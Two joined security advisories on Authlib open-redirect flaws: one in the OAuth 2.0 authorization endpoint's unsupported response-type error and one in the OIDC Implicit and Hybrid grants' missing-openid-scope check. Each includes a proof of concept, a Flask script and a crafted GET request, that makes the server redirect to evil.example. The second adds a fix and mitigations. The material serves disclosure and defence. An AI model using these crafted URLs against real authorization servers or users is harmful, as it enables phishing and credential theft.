Summary Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported responsetype and supplies an attacker-controlled redirecturi.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details The root cause is that AuthorizationServer.getauthorizationgrant() copies the raw request redirecturi into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:

python # authlib/oauth2/rfc6749/authorizationserver.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.responsetype}' is not supported by the server.", request.payload.responsetype, redirecturi=request.payload.redirecturi, )

That error object is later rendered by OAuth2Error.call(). If redirecturi is set, Authlib automatically returns a redirect response to that URI:

# authlib/oauth2/base.py def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirectfragment) return 302, "", [("Location", loc)] return super().call(uri=uri)

This means an unsupported responsetype request can force the authorization server to redirect to an attacker-controlled URL even when:

1. no valid client exists, 2. no grant matched the request, 3. no registered redirecturi was ever checked.

This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.getconsentgrant(...) and then server.handleerrorresponse(...) on OAuth2Error.

Relevant source and documentation references:

- authlib/oauth2/rfc6749/authorizationserver.py - authlib/oauth2/base.py - docs/flask/2/authorization-server.rst - docs/django/2/authorization-server.rst

### PoC

Local test environment:

- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1 - git describe: v1.6.6-104-g68e6ab3f - Python virtualenv: ./.venv - Environment variable: AUTHLIBINSECURETRANSPORT=true

Note: AUTHLIBINSECURETRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS.

Run this exact PoC from the repository root:

export AUTHLIBINSECURETRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flaskoauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as AuthorizationCodeGrant

os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

class AuthorizationCodeGrant(AuthorizationCodeGrant): def saveauthorizationcode(self, code, request): raise RuntimeError("not reached") def queryauthorizationcode(self, code, client): return None def deleteauthorizationcode(self, authorizationcode): pass def authenticateuser(self, authorizationcode): return None

app = Flask(name) app.secretkey = "testing"

server = AuthorizationServer( app, queryclient=lambda clientid: None, savetoken=lambda token, request: None, ) server.registergrant(AuthorizationCodeGrant)

@app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.getconsentgrant(enduser=None) except OAuth2Error as error: return server.handleerrorresponse(request, error) return server.createauthorizationresponse(grant=grant, grantuser=None)

with app.testclient() as c: cases = { "withoutredirecturi": "/oauth/authorize?responsetype=totally-unsupported&state=s1", "withattackerredirecturi": "/oauth/authorize?responsetype=totally- unsupported&redirecturi=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.statuscode, "location": r.headers.get("Location"), "body": r.getdata(astext=True), } print(json.dumps(out, indent=2)) PY

Observed result:

{ "withoutredirecturi": { "status": 400, "location": null, "body": "{\"error\": \"unsupportedresponsetype\", \"errordescription\": \"totally- unsupported\", \"state\": \"s1\"}" }, "withattackerredirecturi": { "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" } }

This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirecturi.

The same behavior was locally reproduced with the Django integration using RequestFactory; it returned:

{ "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&errordescription=totally-unsupported&state=s1", "body": "" }

Impact This is an unauthenticated open redirect in an internet-facing authorization endpoint.

Who is impacted:

- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow. - No special feature flag is required beyond running the authorization endpoint itself.

Attacker prerequisites:

- None beyond the ability to send a victim to a crafted authorization URL.

Practical harm:

- Phishing and credential theft by abusing a trusted authorization server domain as a redirector. - Bypass of domain-based allowlists that trust the authorization server's host. - SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting.

The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.

Summary

An unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope.

Details

Vulnerable code

OpenIDImplicitGrant.validateauthorizationrequest in authlib/oidc/core/grants/implicit.py:

python def validateauthorizationrequest(self): if not isopenidscope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirecturi=self.request.payload.redirecturi, # ← raw, unvalidated redirectfragment=True, ) redirecturi = super().validateauthorizationrequest() ...

OpenIDHybridGrant.validateauthorizationrequest in authlib/oidc/core/grants/hybrid.py shares the same pattern.

Root cause

Both methods perform the openid scope presence check before delegating to super().validateauthorizationrequest(), which is where AuthorizationEndpointMixin.validateauthorizationredirecturi validates the requested redirecturi against the client's checkredirecturi(...). The InvalidScopeError thrown by the scope check therefore carries attacker-controlled self.request.payload.redirecturi.

OAuth2Error.call in authlib/oauth2/base.py renders any error with a non-empty redirecturi as an HTTP 302:

python def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirectfragment) return 302, "", [("Location", loc)] return super().call(uri=uri)

A malformed authorization request that selects OpenIDImplicitGrant or OpenIDHybridGrant and omits the openid scope is therefore redirected to a fully attacker-chosen URL.

This is a variant of the issue fixed in commit 3be08468 ("fix: redirecting to unvalidated redirecturi on UnsupportedResponseTypeError") that was missed in the OIDC Implicit and Hybrid grants.

Preconditions

1. The server registers OpenIDImplicitGrant or OpenIDHybridGrant (standard OIDC Implicit or Hybrid flow support). 2. The attacker's request uses a responsetype that matches either grant: idtoken, idtoken token, code idtoken, code token, or code idtoken token. 3. scope does not contain openid. 4. Any redirecturi value.

No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid clientid are required. The scope check runs before any client lookup, so any clientid value (including nonexistent ones) reaches the vulnerable code path.

PoC

The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL:

GET /oauth/authorize ?responsetype=idtoken &clientid=anything &scope=profile &redirecturi=https%3A%2F%2Fevil.example.com%2Fphish &state=s&nonce=n HTTP/1.1 Host: victim-op.example

Server response:

HTTP/1.1 302 Found Location: https://evil.example.com/phish#error=invalidscope&errordescription=Missing+%27openid%27+scope&state=s

Impact

- Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP. - Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack. - RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a redirecturi that has not been validated against the client's registered URIs, even in error responses. The state parameter is echoed back, giving the attacker site a stable correlator. - No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.

Affected deployments

Any application using Authlib as an OIDC provider that registers OpenIDImplicitGrant and/or OpenIDHybridGrant — i.e. anyone supporting the Implicit flow or the Hybrid flow (responsetype=code idtoken, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue.

Authorization servers that only register the plain AuthorizationCodeGrant (code flow, with or without PKCE and the OpenIDCode extension) are not affected by this specific variant: the code-flow grant validates redirecturi before raising scope errors. If you were affected by the sibling issue fixed in 3be08468 (UnsupportedResponseTypeError), you should already be on 1.6.10 or later; this advisory is independent of that fix.

Suggested fix

The attached fix-oidc-open-redirect.patch reorders each method to delegate to its super (or call validatecodeauthorizationrequest for Hybrid) first, and then performs the openid-scope check with the validated redirecturi variable.

python authlib/oidc/core/grants/implicit.py def validateauthorizationrequest(self): redirecturi = super().validateauthorizationrequest() # runs client + redirecturi validation if not isopenidscope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirecturi=redirecturi, # validated redirectfragment=True, ) try: validatenonce(self.request, self.existsnonce, required=True) except OAuth2Error as error: error.redirecturi = redirecturi error.redirectfragment = True raise error return redirecturi

An equivalent transform is applied to OpenIDHybridGrant.validateauthorizationrequest, invoking validatecodeauthorizationrequest first and only then checking isopenidscope.

Alternatively, inline a client = queryclient(request.payload.clientid) + client.checkredirecturi(request.payload.redirecturi) guard before populating redirecturi on the error — the pattern used in 3be08468.

The patch also adds regression tests analogous to testunsupportedresponsetypedoesnotredirect from commit 3be08468, asserting rv.statuscode == 400 and rv.headers.get("Location") is None for an unregistered redirecturi with a non-openid scope.

Workarounds

No clean server-side workaround exists short of patching. Partial mitigations:

- Unregister OpenIDImplicitGrant and OpenIDHybridGrant if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.) - Front the /authorize endpoint with a reverse proxy rule that rejects requests containing both a redirecturi parameter and a scope that does not include openid when responsetype matches the vulnerable set. This is fragile and not recommended as a primary control.

References

- RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint) - RFC 9700, §4.11 — Redirect URI validation - OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response - Authlib commit 3be08468 — prior fix for the same class of issue in UnsupportedResponseTypeError (Authlib 1.6.10) - Authlib source (by symbol; verified in commit 5d2e603e): - OpenIDImplicitGrant.validateauthorizationrequest — authlib/oidc/core/grants/implicit.py - OpenIDHybridGrant.validateauthorizationrequest — authlib/oidc/core/grants/hybrid.py - OAuth2Error.call — authlib/oauth2/base.py (renders errors with redirecturi as HTTP 302) - AuthorizationEndpointMixin.validateauthorizationredirecturi — authlib/oauth2/rfc6749/grants/base.py (the validation that is bypassed)